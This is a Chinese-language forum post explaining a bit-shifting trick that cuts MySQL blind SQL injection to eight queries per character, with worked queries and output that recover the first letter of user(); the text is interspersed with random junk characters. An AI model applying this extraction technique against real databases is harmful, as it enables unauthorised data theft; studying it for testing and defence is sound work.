找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2107|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
0 S3 ^) ?1 v* H- \& o) K! F  D. b2 ?. N7 @: Y0 y! F

) y9 J5 g$ I1 t1 l" ]1 |* d& ]6 l' C$ ]6 J1 y7 m! M" s! A1 [: {, y
下面将以查询mysql数据库当中user()的第一位为例:
$ ^+ n! d4 ~* A, F) _- x' X( V' Y
) Z  f# R# a& H4 B* G2 W7 P
8 _& l9 b8 q/ m* I* P
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
+ ?0 x* r: `$ E; \" E! a. Z* B7 ]
9 ~1 W) v5 X* u8 M ' _; Y1 l5 k& P1 J9 A6 s& u+ r' B
( R  s' W  L3 L( v8 {: @3 r
首先执行如下sql语句:# `8 q- Q2 J/ d7 ^9 `
/ w: S$ I7 z, g* u- x

) s/ }' m9 h* C9 X
; O7 w3 B5 Z" cmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
9 T& o9 Q  o7 k+ B& c8 l% L8 g; c+ O+ p4 T4 t3 ?

5 I% I: b& a% x. V
8 Y# R0 a9 Q0 t) ]' w$ Y3 l我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的3 @+ @1 ?- Z' d/ q( C. |8 A

& I9 [. Q  w/ ]- @ / L) ]) {! D2 q
8 M) Z0 ?. H# M, L6 @9 x
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! d8 j& v2 t: `# L* X$ c& b0 h, C- @8 @7 h

# B& Y, [- _: |) j3 g- C$ h7 k# ]0 t9 F2 M) }! V
如果运算结果为1,说明第一位为0,不为11 p6 v; Q# A# O, J( p  L
8 Y1 _9 f8 k  K& z- z7 s

" v. M3 r' E/ I/ F% T& G; _
$ ^6 c% t. j& f+————————————–+
" x) F4 u  Y8 J& _! O# ?
- c% D7 }9 Z9 f2 D| (ascii((substr(user(),1,1))) >> 7)=0 |
* ^/ D& ^7 ^1 u* |
- B; c* h! Y) K+————————————–+% J9 e1 y6 J8 D: x& X! e7 ^$ R
0 q: {; p5 z; ]
| 1 |0 E* C5 i- a) x
- ]( b, u2 \( |# u3 d+ a
+————————————–+: N5 U9 v. V  N. k0 H
* T- n- _9 U. e3 F; @+ a
1 row in set (0.00 sec)
. d. F9 d! |5 e* E+ f0 j& A! T2 Z  z) ?; Y+ ^2 H' x: ?: r
这样我们就确定这个8bit的ascii的第一位为0* ~; @! e( D. u% N  r2 y$ X
% _" E& E; k  T0 Z8 v
2 }& R: R- V7 g- F

$ K9 I1 A' P! C& j1 j) ~0 X; P第二次我们来做6次右偏移来确定前两位2 `# p, V  s6 J, E$ }& Z

/ s3 B9 }( a% w, O& ~
+ {7 R- d/ \5 Y# I+ J6 A! d: e" K! N  `/ l. P: Y
前两位可能是01或00,即依然可以与0做比较,
4 u4 [5 S$ J- V; Y5 r  c8 x7 Z
) k% s, S+ {3 cmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
6 d+ |% H5 K4 U2 W% q6 d- c. e2 g; p$ S' B
+————————————–+
9 l( V* P" {; f# w( n" Y
, f, I" P" \& w7 S% |' a| (ascii((substr(user(),1,1))) >> 6)=0 |
4 J: T8 {& J3 y2 z+ G# U6 X
! [& x* P+ S% c  k) l+————————————–+& t, r- q/ d; g) y& k' J# l9 G* a
2 ]' Y) F% K4 s0 q9 a% [: l
| 0 |
' D; T; d3 Q7 w4 B. Q
; Z( p+ O4 T, U+————————————–+
% D8 W6 u' P$ ]1 |, H
" F* R2 B6 A( P2 o1 row in set (0.00 sec)8 B% `- o9 @6 B( A; p
% Y& a/ R* a( w) Z
. E6 O# H, q; K$ d% g- K

( M) q. Z1 L0 Z$ P& [结果为0,即第二位为1
% ]8 D6 B( @/ _& r
- Q0 N" w: A  @, R. H
% Q  {0 k# U0 |# J/ w5 D' J% t
( X2 `, g; ]* ?6 T' W开始猜测前三位为010或011" |& B5 c& ^2 a/ H7 x
, r: v: W, C& q

, p, I# D" L' P: g& C, a- |4 O
; Y1 L. T0 n5 h0 Z! H( }让我们看看010和011的ascii码是多少5 I9 r  g/ V/ H4 D1 [
- w  {' m# b" `2 D6 I

- Z6 C; n6 _# ^( S% S/ @9 A1 Y1 X; Y/ s5 ^
分别查询select b’011′ select b’010′  }' H" r# p' E( f( I& Q  ~$ ~
3 w2 t  a! c, B
: G& \9 K' I# I0 k- d2 X

) ^# H& C* d! Q. X: F8 p获得结果 010 = 2 011 = 3
4 a! |- D& L1 N# e. L8 j: V& |% R0 E. K( R# K
7 ~7 I+ g0 w3 n7 N( ~- S6 Z

4 P3 y9 O  w* v: X. B& v9 v执行如下sql:
! t" e& S* A- ^- y  `' r  h# z% I1 b- n

& m8 \5 Y4 T. M
3 M6 @  \& \% ^/ r8 amysql> select (ascii((substr(user(),1,1))) >> 5)=2;5 I8 x  O9 E3 O! u% \9 M: K) w

6 V0 r: i9 |1 U4 A# Y/ }! {+————————————–+6 M3 h, p# w  {  y
5 I% s1 F8 t  {+ E/ Q
| (ascii((substr(user(),1,1))) >> 5)=2 |3 l$ ^9 ]3 s; H! f0 p- h
8 J, l+ C  q& r3 R# i0 |- y. A5 p
+————————————–+
5 D/ H  E( b; b. W+ I/ p) M5 }7 l9 A6 ^1 k  J
| 0 |
. k. X* Y1 W9 \% w  D  w# P
7 s) f. h7 \# T7 r+————————————–+
5 ]( |% d2 T, X% ^4 @- t
1 K' q# h# t$ Q# Y) `即前三位不为010,而是011( a4 S$ _  E3 `; h8 e$ W! \, ^

4 X5 Q' R- t1 {6 g
1 f, B5 [# d8 S# Q( X* `' R" O. H
0 A1 h0 E9 }, s: `直到获得最后一位1 L" b0 G  B) i: `8 f, i* M9 l

; W' ^2 e3 @! ~" N# L& a; q : e* P# @! U7 y
0 F! H0 f# u; w+ w9 }& G
最终结果为:01110010
6 U: e9 }  e/ v: |2 c1 p- f  W9 }/ X6 c; G

1 G" O9 a3 @' C" B
( m1 c" z# |: F3 {2 W: O2 J2 z转换一下:4 C2 ^5 K5 @, W, Y$ x; ~9 ^8 E
$ U& s! r* J% B7 V% ?4 i6 h

( e6 _9 H: r7 J, X. U* f( c8 V9 S. Z6 m  F& V# c% s
select b’01110010′
$ {+ ]6 g) z0 }8 L2 |% s" {
$ o6 n, x* U3 K2 o- N% z% d
4 b* T& n& m+ f0 }, M  ^7 |8 m% W+ P
查询结果
! T+ ^" F& y) W
4 ?6 E( S. n- w6 {6 o 2 H3 R( v( F; }2 M7 @
9 Y! j+ E/ y* }& v) t  Q
+————-+
! Q/ p: f# W$ H, \( `  Y
* V# h. j8 V) r| b’01110010′ |% e2 o( S1 j& [: j5 {
2 N4 l/ P, R' P
+————-+9 M! {, U- q7 x" i: [& z

- S; X' u1 m  H- s8 }+ R+ ?| r |
  ?+ }: C- t0 D1 {/ T& v
$ Q! V. b, p! v& K. I+————-+
% X% |1 \% K0 ?0 @3 r- @: x# D. p' k$ c, d& Q
1 row in set (0.00 sec)
/ p0 V# B% F+ ?2 ~+ z& c' w+ ^3 c. l1 \, @9 p! i1 h- N
. Y( l: h2 }1 T6 V4 z0 [' s2 g( K

9 G: B5 `$ \7 h6 K0 I这样我们就获得了user()的第一位.其它位依此类推+ M, N) {! H' I. P0 q" |, X  S

" g% g5 _) E# v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表